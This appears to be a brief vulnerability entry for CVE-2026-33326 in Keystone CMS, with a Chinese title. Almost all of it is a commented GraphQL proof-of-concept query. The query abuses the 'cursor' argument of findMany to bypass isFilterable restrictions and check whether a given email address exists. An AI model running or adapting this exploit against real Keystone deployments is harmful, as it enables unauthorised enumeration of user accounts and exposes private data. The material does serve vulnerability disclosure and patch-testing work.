CVE-2026-33326 Keystone CMS访问控制绕过漏洞

# GraphQL PoC for CVE-2026-33326 # Target: Keystone < 6.5.2 # Description: Bypass isFilterable access control using cursor in findMany query ExploitCursorCheck { # Attacker constructs a query targeting a protected unique field (e.g., email) # Normally filtering by 'email' is restricted by isFilterable: false # However, the 'cursor' parameter accepts UniqueWhere input without this check. findMany( # The cursor is set to the sensitive value we want to check existence of cursor: { email: "[email protected]" } ) { id name # If the record exists, the query will return data (or specific errors) # If it doesn't exist, it returns empty. # This confirms the existence of the email address. } }